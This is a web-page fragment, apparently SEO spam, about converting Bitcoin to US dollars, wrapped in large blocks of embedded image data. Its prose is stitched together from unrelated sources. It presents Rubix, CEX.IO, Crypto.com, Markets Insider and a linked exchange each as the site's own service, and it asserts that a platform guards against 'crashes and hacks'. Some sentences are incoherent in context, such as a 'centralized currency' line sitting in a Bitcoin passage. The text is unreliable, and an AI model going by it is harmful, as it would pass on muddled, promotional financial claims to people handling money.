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" width="300px" alt="bitcoin to dollars exchange"/></p>
<p>Bitcoin US Dollar traded at 38,454.2 this Tuesday May 3rd, increasing 141.5 or 0.37 percent since the previous trading session. Looking back, over the last four weeks, Bitcoin gained 17.45 percent. CEX IO EU Limited provides its card processing services to customers from the European Union and European Economic Area . Yes, you can top up your CEX.IO balance with fiat funds using SWIFT, ACH, Faster Payments, and SEPA wire transfers. With any Bitcoin price change making news and keeping investors guessing. Buffett reiterated that bitcoin isn&#8217;t worth anything because it doesn&#8217;t produce anything, while Munger said he expects its price to plunge to zero.</p>
<p><h2>Warren Buffett And Charlie Munger Called Out Stock</h2>
</p>
<p>The most common way of converting Convert Bitcoin to USD is through a Bitcoin Exchange. Rubix offers a secure platform that protects users and cryptocurrencies from crashes and hacks. If we feel that our currency is not safe, we can easily withdraw our Bitcoin amount by converting it into US Dollars, guaranteeing safety and reliability. Rubix is a high-quality, secure platform that lets you easily trade BTC to USD. After you purchase your cryptocurrency using the electronic payment method of your choice, your information will be protected by our site. You can then send and trade cryptocurrency directly to another user’s wallet, as well as cash out for the USD value. The Bitcoin price page is part of Crypto.com Price Index that features price history, price ticker, market cap, and live charts for the top cryptocurrencies. Some bitcoin conversion services allow you to convert your bitcoins to dollars by transferring them to PayPal, Apple Pay, or similar services.</p>
<p>They are not guaranteed to be accurate, and are subject to change without notice. Some marketplaces allow you to sell your bitcoins to another person. Others allow you to sell them directly to the marketplace, which will then resell them to interested buyers later. In either case, the specific method you use to sell your bitcoins will vary somewhat depending on the marketplace you use. Generally, you can simply click on “Sell your bitcoins” or some similar option to get the process started.</p>
<p><h2>How To Buy Bitcoin</h2>
</p>
<p>Additionally, you can also choose whether to calculate the result based on the current exchange rate or the exchange rate on a certain date. This way, the Markets Insider currency calculator allows you to search for historical exchange rates. The result provided by the currency conversion bitcoin to usd calculator is displayed in a clearly arranged table. Here, the currency calculator shows the opening and closing rate as well as the lowest and highest rates for the respective date. Exchanging USD to BTC means you pay USD and get a Bitcoin in your possession to imply any trading strategy you wish.</p>
<p>Bitcoin is the first cryptographic currency, and thus a pioneer that has changed the market forever. It is the most trusted and popular coin of this type, with the largest market capitalization. It is often called digital gold, as well as the currency of the future. Not only do they have technical differences, they also offer two completely different value propositions for investors, which could be the deciding factor for you. Many investors see Bitcoin as a store of value, like gold, that can be used as a guard against inflation. Ethereum, on the other hand, is a software platform that allows developers to build other crypto-oriented apps on it. To use Ethereum, developers have to buy and pay fees to the network in Ethereum’s native digital currency, ether.</p>
<p>As a centralized currency, its value is determined by foreign exchange markets. CEX.IO is one of the world’s most popular fiat-to-crypto and crypto-to-fiat exchanges. Rubix wallet protects your assets and makes it easy to keep track of rates. The bitcoins will the be converted to dollars and transferred to the bank account you provided. There are several ways to verify that a bitcoin conversion site is safe. One is to check reputable sources for reviews that verify the integrity of a given <a href="https://www.beaxy.com/">https://www.beaxy.com/</a> site. Another way is to ensure that the site the service manages uses https in their URL. Finally, use a conversion service that allows two-factor identification, ensuring that only you will be able to approve bitcoin conversions. As the largest cryptocurrency by far Bitcoin should be of great interest to currency traders. While the size of the digital currency’s market capitalization pales in comparison with that of any major or minor fiat currency, Bitcoin acceptance has been growing.</p>
<p><a href="https://www.beaxy.com/"><img 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